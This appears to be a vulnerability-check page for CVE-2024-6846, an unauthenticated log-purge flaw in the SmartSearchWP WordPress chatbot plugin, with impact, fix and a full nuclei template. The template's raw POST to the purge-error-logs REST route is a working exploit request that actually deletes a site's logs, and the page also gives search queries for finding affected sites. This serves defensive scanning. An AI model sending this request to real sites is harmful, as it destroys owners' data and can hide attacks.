SmartSearchWP <= 2.4.4 - Unauthenticated Log Purge

mediumseverity

5.3CVSS score

1.3%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

The Chatbot with ChatGPT WordPress plugin before 2.4.5 does not validate access on some REST routes, allowing for an unauthenticated user to purge error and chat logs.

Impact

Unauthenticated attackers can delete error and chat logs, potentially destroying evidence of attacks or system issues.

Fix

Update SmartSearchWP plugin to version 2.4.5 or later to address the unauthorized log purge vulnerability.

How to confirm it

Send: POST /wp-json/wdgpt/v1/purge-error-logs
Positive when: contains_all(body,"success","true", "purged successfully") and contains(content_type,"application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-6846 -u <target>

The full check

id: CVE-2024-6846

info:
  name: SmartSearchWP <= 2.4.4 - Unauthenticated Log Purge
  author: s4e-io
  severity: medium
  description: |
    The Chatbot with ChatGPT WordPress plugin before 2.4.5 does not validate access on some REST routes, allowing for an unauthenticated user to purge error and chat logs.
  impact: |
    Unauthenticated attackers can delete error and chat logs, potentially destroying evidence of attacks or system issues.
  remediation: |
    Update SmartSearchWP plugin to version 2.4.5 or later to address the unauthorized log purge vulnerability.
  reference:
    - https://wpscan.com/vulnerability/d48fdab3-669c-4870-a2f9-6c39a7c25fd8/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6846
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-6846
    epss-score: 0.01252
    epss-percentile: 0.69685
  metadata:
    max-request: 1
    verified: true
    vendor: webdigit
    product: smartsearchwp
    framework: wordpress
    publicwww-query: "/wp-content/plugins/smartsearchwp"
    fofa-query: body="/wp-content/plugins/smartsearchwp"
  tags: wpscan,cve,cve2024,wp,wordpress,wp-plugin,smartsearchwp,chatgpt,vuln,ai

http:
  - raw:
      - |
        POST /wp-json/wdgpt/v1/purge-error-logs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"months":"1"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"success","true", "purged successfully")'
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from